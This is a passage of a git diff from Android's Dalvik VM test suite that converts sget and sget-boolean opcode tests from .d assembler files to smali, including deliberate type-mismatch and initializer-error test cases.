diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d
deleted file mode 100644
index 915f609..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_8.java
-.class public dot.junit.opcodes.sget.d.T_sget_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       sget v1, dot.junit.opcodes.sget.d.T_sget_8.i1N I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali
new file mode 100644
index 0000000..17c433f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_8.java"
+.class  public Ldot/junit/opcodes/sget/d/T_sget_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       sget v1, Ldot/junit/opcodes/sget/d/T_sget_8;->i1N:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..6bf6091
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/StubInitError.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:I
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    sput v1, Ldot/junit/opcodes/sget/d/StubInitError;->value:I
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali
new file mode 100644
index 0000000..4e09fd9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget/d/T_sget_9.smalis/T_sget_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget/d/T_sget_9;
+.super Ljava/lang/Object;
+.source "T_sget_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()I
+    .registers 3
+
+    sget v1, Ldot/junit/opcodes/sget/d/StubInitError;->value:I
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d
deleted file mode 100644
index 1910152..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_1.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1
-.super java/lang/Object
-
-.field public static i1 Z
-.field protected static p1 Z
-.field private static pvt1 Z
-
-.method static <clinit>()V
-.limit regs 1
-       const/4 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.i1 Z
-
-       const/16 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.p1 Z
-
-       const/16 v0, 1
-       sput-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.pvt1 Z
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali
new file mode 100644
index 0000000..82e34ab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_1.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:Z
+.field protected static p1:Z
+.field private static pvt1:Z
+
+.method static constructor <clinit>()V
+.registers 1
+       const/4 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+
+       const/16 v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d
deleted file mode 100644
index a37791b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_11.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_11
-.super dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.p1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali
new file mode 100644
index 0000000..7b258fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_11.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_11;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->p1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d
deleted file mode 100644
index a6d38b5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_12.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_12
-.super dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_boolean/d/T_sget_boolean_1/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       sget-boolean v1, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_1.pvt1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali
new file mode 100644
index 0000000..b85638a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_12.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_12;
+.super  Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       sget-boolean v1, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_1;->pvt1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d
deleted file mode 100644
index f183859..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_13.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_13.i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali
new file mode 100644
index 0000000..6645b10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_13.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_13;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali
new file mode 100644
index 0000000..542f4df
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_14;
+.super Ljava/lang/Object;
+.source "T_sget_boolean_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d
deleted file mode 100644
index e09d93c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_15.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali
new file mode 100644
index 0000000..2857420
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_15.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d
deleted file mode 100644
index f6c3529..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_16.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali
new file mode 100644
index 0000000..e5f626b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_16.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d
deleted file mode 100644
index 25cadc8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_17.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_17
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali
new file mode 100644
index 0000000..85d9da3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_17.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d
deleted file mode 100644
index 871ff9b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_boolean_18.java
-.class public dot.junit.opcodes.sget_boolean.d.T_sget_boolean_18
-.super java/lang/Object
-
-.field public static i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-boolean v0, dot.junit.opcodes.sget_boolean.d.T_sget_boolean_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali
new file mode 100644
index 0000000..cb76be7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_boolean_18.java"
+.class  public Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-boolean v0, Ldot/junit/opcodes/sget_boolean/d/T_sget_boolean_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_boolean/d/T_sget_boolean_19.d
deleted file mode 100644
index 1f4f9e8..0000000
